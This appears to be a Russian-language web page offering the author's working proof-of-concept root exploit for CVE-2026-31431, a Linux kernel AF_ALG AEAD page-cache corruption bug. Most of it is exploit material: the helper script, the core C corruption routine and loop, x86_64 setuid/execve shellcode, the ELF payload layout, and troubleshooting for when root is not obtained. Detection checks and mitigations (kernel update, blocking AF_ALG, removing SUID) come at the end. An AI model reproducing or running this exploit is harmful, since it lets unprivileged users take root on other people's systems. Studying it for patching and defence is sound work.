
Рабочий proof-of-concept эксплойт для CVE-2026-31431 — локальное повышение привилегий в ядре Linux через повреждение page cache в AF_ALG AEAD, предоставляющее root-оболочку.
2026-04-29 — Я публикую этот эксплойт через день после того, как поделился им на форуме MyDigitalLife. Для него не требуется Python; он написан на C и скомпилирован до минимально возможного размера с помощью:
musl-gcc -static -Os -o exploit exploit.c -sКритическая угроза. Бинарный файл эксплойта скомпилирован без зависимостей и может использоваться для проверки уязвимостей в любой системе Linux.
CVE-2026-31431 — это подтверждённая NIST уязвимость в ядре Linux, которая позволяет непривилегированному локальному пользователю получить
root-оболочку за считанные секунды. В связи с публично распространяемым эксплойтом для CVE-2026-31431 я разработал бинарное доказательство концепции (PoC) для оценки подверженности нашей внутренней инфраструктуры. Хотя в некоторых средах использование su ограничено, эта уязвимость особенно критична для общих серверов, поскольку она нацелена на базовое управление памятью ядра. Следовательно, любой SETUID-бинарный файл — включая sudo, passwd, mount или newgrp — может быть использован для запуска эксплойта и получения root-оболочки. Требуются немедленные административные действия по обновлению ядра, поскольку стандартные ограничения пользовательского пространства недостаточны для смягчения этой угрозы. Любая система Linux с непропатченным ядром находится под угрозой.
Мой собственный рабочий эксплойт · Ядро Linux · Криптографический интерфейс AF_ALG (AEAD)
Заменяет /usr/bin/su в кэше страниц ядра, не затрагивая файл на диске
Достаточно локального доступа к оболочке — дополнительные привилегии не требуются
Затрагивает непропатченные дистрибутивы Linux

CVE-2026-31431 — это ошибка в обработке операций scatter-gather I/O и ссылок на кэш страниц в криптографической подсистеме ядра Linux — в частности, в реализации сокетов AF_ALG для алгоритмов AEAD (crypto/af_alg.c, crypto/aead.c).
Ядро Linux предоставляет криптографический интерфейс пользовательскому пространству через сокеты AF_ALG. Уязвимость заключается в том, что во время операции расшифровки AEAD ядро некорректно отображает выходные данные расшифровки непосредственно на страницы кэша страниц исходного файла — вместо временного буфера. Таким образом, атакующий может перезаписать содержимое любого файла в памяти, не изменяя его на диске, без привилегий root и не оставляя видимых следов в файловой системе.
Эксплойт состоит из двух компонентов: вспомогательного скрипта в /tmp/x и цикла повреждения на основе AF_ALG. Ниже приведено точное описание на основе анализа исходного кода:
1. Настройка вспомогательного скрипта
Эксплойт создаёт /tmp/x со следующим содержимым:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
Он устанавливает права 0755. Причина: /usr/bin/su удаляет переменные окружения (включая TERM) при запуске. Вспомогательный скрипт восстанавливает их перед запуском настоящей оболочки, обеспечивая работоспособный терминал.
2. Создание ELF-полезной нагрузки
В памяти создаётся минимальный 158-байтовый x86_64 ELF-бинарный файл, содержащий необработанный шеллкод. Затем строка /bin/sh по смещению 150 заменяется на /tmp/x\0 через memcmp/memcpy. Подробности см. в разделе ELF-полезная нагрузка.
3. Открытие /usr/bin/su только для чтения
int su_fd = open("/usr/bin/su", O_RDONLY);
Файл открывается только для чтения — эксплойту не требуются права на запись.
4. Цикл повреждения — 39 итераций по 4 байта
Полезная нагрузка (158 байт) обрабатывается блоками по 4 байта (39 полных блоков). Каждый блок передаётся через corrupt_binary_chunk(), который выполняет:
AF_ALG (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — составному алгоритму AEADop_sock)sendmsg с 8-байтовым буфером (4× 'A' + 4 байта полезной нагрузки) и тремя CMSG: ALG_OP_DECRYPT, IV (20 байт), assoclen=8splice: su_fd → pipe → op_sock (zero-copy через ядро)recv() — именно здесь ядро ошибочно перезаписывает кэш страниц5. Выполнение
execve("/usr/bin/su", args, NULL);
Ядро загружает /usr/bin/su через кэш страниц — который теперь отравлен. Бит SUID (chmod u+s) сохранён, поэтому ядро выполняет файл от имени root. Шеллкод выполняет setuid(0) → execve("/tmp/x") → интерактивная root-оболочка.
flowchart TD
A[Непривилегированный локальный пользователь] --> B["Создаёт вспомогательный скрипт /tmp/x\nchmod 0755"]
B --> C["Создаёт 158-байтовую ELF-полезную нагрузку\nЗамена: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nПрава на запись не нужны"]
D --> E[Цикл: 39 блоков по 4 байта]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B ключ + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B данные + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nzero-copy через ядро"]
K --> L[recv → завершение операции AEAD]
L --> M["ОШИБКА ЯДРА: выходные данные расшифровки\nперезаписывают кэш страниц su_fd"]
M --> N{Следующий блок?}
N -->|Да| E
N -->|Нет| O["execve /usr/bin/su"]
O --> P["Ядро загружает /usr/bin/su\nиз отравленного кэша страниц"]
P --> Q["Бит SUID сохранён\nядро выполняет от имени root"]
Q --> R["Шеллкод: setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[Интерактивная root-оболочка]Ключевые разделы exploit.c, рассмотренные ниже:
corrupt_binary_chunk()Сердце эксплойта. Каждый вызов координирует одну полную транзакцию AF_ALG:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Создаёт сокет AF_ALG и привязывает к AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72-байтовый ключ + размер тега аутентификации = 4 байта
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Буфер: 4x 'A' как ассоциированные данные + 4 байта полезной нагрузки
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSG: операция DECRYPT / IV (20B, первый байт 0x10) / assoclen=8
// sendmsg с MSG_MORE — данные ещё не полны
sendmsg(op_sock, &msg, MSG_MORE);
// zero-copy splice: su_fd → pipe → op_sock (offset+4 байта)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv завершает операцию — ядро ошибочно записывает в кэш страниц su_fd здесь
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // пропускает последние 2 байта (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 полных блоков × 4 байта = 156 байт применено
Полезная нагрузка — это автономный 158-байтовый x86_64 ELF-бинарный файл с необработанным шеллкодом — без динамического компоновщика и внешних библиотек.
; смещение 120 — точка входа 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (смещение 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; смещение 150
db "/tmp/x", 0, 0 ; (заменено с "/bin/sh\0")
uname -r
Сравните вывод со списком уязвимых версий, опубликованным NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG доступен — система может быть уязвима')"
Если команда возвращает [Errno 97] Address family not supported — модуль отключён, и риск значительно ниже.
/usr/bin/suls -la /usr/bin/su
Если бит s присутствует (например, -rwsr-xr-x) — /usr/bin/su имеет установленный SUID и является вектором атаки.
# Выгрузите модуль AF_ALG, если он не нужен
sudo modprobe -r af_alg 2>/dev/null || echo "Модуль встроен в ядро — выгрузить невозможно"
# Альтернатива — временно удалите SUID
sudo chmod u-s /usr/bin/su
Этот раздел предназначен для исследователей безопасности, анализирующих уязвимость в изолированной среде.
socket() или bind() завершаются с ошибкойСимптом: perror("socket") или perror("bind") вызывает выход.
Причины:
AF_ALG или алгоритм authencesn — проверьте: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG — проверьте журналы: dmesg | tail -20splice() возвращает EPERM / EINVALСимптом: Операция splice отклонена ядром.
Причины:
su_fd указывает на обычный файл, а не на символьную ссылку или устройствоdmesg на наличие записей аудита, блокирующих zero-copy в криптографические сокетыexecve запускает обычную пользовательскую оболочкуСимптом: Нет приглашения root; id показывает исходный UID.
Причины:
/usr/bin/su отсутствует бит SUID — ls -la /usr/bin/su, бит s должен быть виденexecve — добавьте sync или уменьшите задержку цикла/tmp/x не найден или отсутствует TERMСимптом: Оболочка запускается, но отображение терминала нарушено.
Причины:
/tmp доступен для записи и не смонтирован с noexec/tmp/x должен иметь права 0755 — проверьте: ls -la /tmp/xexecve("/tmp/x") завершается ошибкой — шеллкод можно перепатчить для использования /bin/sh напрямуюПРЕДУПРЕЖДЕНИЕ: Этот документ опубликован исключительно в информационных, образовательных и защитных целях. Он описывает публично известную угрозу, выявленную NIST и сообщённую сообществом специалистов по безопасности. Запуск эксплойта на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, может нарушать действующее законодательство и повлечь уголовную ответственность. Тестируйте только в изолированных лабораторных средах.
Все товарные знаки принадлежат их соответствующим владельцам. Linux и связанные с ним знаки являются товарными знаками Linux Foundation.
Последнее обновление: 2026-04-29
| Свойство | Значение |
|---|
| Идентификатор | CVE-2026-31431 |
| Ссылка | NIST NVD |
| Тип | Локальное повышение привилегий (LPE) |
| Компонент | Ядро Linux — AF_ALG / AEAD (authencesn) |
| Требуемый доступ | Непривилегированный локальный пользователь |
| Воздействие | Интерактивная root-оболочка |
| Статус эксплойта | Рабочее PoC, публично доступное на GitHub |
| Постоянство | Нет — изменение существует только в ОЗУ; перезагрузка восстанавливает исходное состояние |
| Система | Статус |
|---|
| Ubuntu 24.04 (физический сервер / ВМ) | ⚠️ Уязвима на непропатченном ядре |
| Debian, Fedora, Arch на непропатченном ядре | ⚠️ Уязвимы |
Дистрибутивы с CONFIG_SECURITY_LOCKDOWN_LSM | ✅ Вероятно, защищены |
Системы с nosuid или ProtectSUID (systemd) | ✅ Защищены |
Системы с AppArmor/SELinux, блокирующими AF_ALG | ✅ Защищены |
| macOS, Windows (нативно) | ✅ Не затронуты |
| Поле | Детали |
|---|
| Общий размер | 158 байт |
| Заголовок ELF | 120 байт (e_type=2 EXEC, e_machine=62 x86_64) |
| Точка входа | 0x00400078 = смещение 120 (сразу после заголовка) |
| Шеллкод | 30 байт (смещения 120–149) |
| Целевая строка | 8 байт по смещению 150 (/bin/sh\0 → заменяется на /tmp/x\0) |
| Блоки по 4 байта | 39 полных (156 байт); последние 2 байта пропускаются |
| Мера | Как применить | Эффективность |
|---|
| Обновление ядра | sudo apt update && sudo apt upgrade + перезагрузка | ✅ Полная (когда доступен патч) |
| Блокировка модуля AF_ALG | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ Блокирует вектор атаки |
Удаление SUID с su | sudo chmod u-s /usr/bin/su | ✅ Блокирует этот эксплойт (примечание: su перестанет работать) |
Монтирование /tmp с noexec | Измените /etc/fstab: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ Частичная — блокирует /tmp/x, эксплойт может использовать другой путь |
| AppArmor / SELinux | Профиль, блокирующий AF_ALG socket для непривилегированных пользователей | ✅ Эффективно при правильной конфигурации |